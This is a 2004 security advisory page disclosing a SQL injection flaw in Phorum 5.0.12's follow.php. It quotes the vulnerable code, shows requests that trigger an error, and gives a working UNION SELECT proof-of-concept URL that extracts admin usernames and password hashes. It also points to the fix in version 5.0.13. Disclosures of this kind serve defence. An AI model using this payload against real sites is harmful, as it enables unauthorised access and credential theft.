Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 26, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 713
Members: 0
Total: 713
PacketStorm News
·301 Moved Permanently

read more...
[waraxe-2004-SA#037] - Sql injection bug in Phorum 5.0.12





Author: Janek Vind "waraxe"
Date: 11. November 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=37


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Phorum is a web based message board written in PHP. Phorum is designed with
high-availability and visitor ease of use in mind. Features such as mailing
list integration, easy customization and simple installation make Phorum
a powerful add-in to any website.

Homepage: http://phorum.org/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sql injection bug, discussed here, is present in all Phorum 5.0.x versions,
up to and including 5.0.12 . It is fixed in new Phorum version - 5.0.13 .
First of all - user must be logged in to successful exploit.
Well, let's start with looking @ source code of the "follow.php", line 37:

---------------[ original code ]--------------------

if(isset($PHORUM["args"][1])){
$thread=$PHORUM["args"][1];
} elseif(isset($_POST["thread"])){
$thread=$_POST["thread"];
}

if(empty($thread)) {
phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL));
exit();
}

$message=phorum_db_get_message($thread);

---------------[/original code ]---------------------

So unsanitaized user-submitted variable from POST request will be delivered
to function "phorum_db_get_message($thread)". Even more, "if/elseif" construction
here is WITHOUT ending "else"... So if '$PHORUM["args"][1]' is not set and
'$_POST["thread"]' is also not set, then variable "$thread" can be victim of the
poisoning through $_GET or $_COOKIE arrays.
Now, let's trace execution flow further - "include/db/mysql.php", line 642:


---------------[ original code ]--------------------

function phorum_db_get_message($message_id){
$PHORUM = $GLOBALS["PHORUM"];

$conn = phorum_db_mysql_connect();

$forum_id_check = "";
if (!empty($PHORUM["forum_id"])){
$forum_id_check = "(forum_id = {$PHORUM['forum_id']} OR forum_id=0) and";
}

$sql = "select {$PHORUM['message_table']}.* from {$PHORUM['message_table']} where $forum_id_check message_id=$message_id";

$res = mysql_query($sql, $conn);

if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");

---------------[/original code ]---------------------

And we can see problematic sql query: "... $forum_id_check message_id=$message_id";
No quotes, so sql injection must be exist. Let's try to provoke some error messages.
We issue GET request like this:

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe

... and there is nice error popping up:

"Unknown column 'waraxe' in 'where clause': select phorum_messages.* from phorum_messages where
(forum_id = 1 OR forum_id=0) and message_id=waraxe"
Same error message appears with using another method:

http://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe

Further exploiting depends on mysql server version. If it's 4.x and supports
UNION functionality, then arbitrary information from database can be retrieved by any
currently logged in user, including unprivileged one. Proof of concept:

----------------[ real life exploit ]---------------

http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1

----------------[/real life exploit ]---------------

... and you can see admin's uername and password's md5 hash.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vendor contacted: 10. November 2004
Vendor response: 10. November 2004

New Phorum version 5.0.13 is available at http://phorum.org/downloads.php
and has many security improvements, including fix against this sql injection bug.

For discussion, help requests, etc - http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna, icenix and slimjim100!
Tervitused - Heintz ja Maku!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (11134 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
Currently there is a problem with headlines from this site
alexa



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.104 Seconds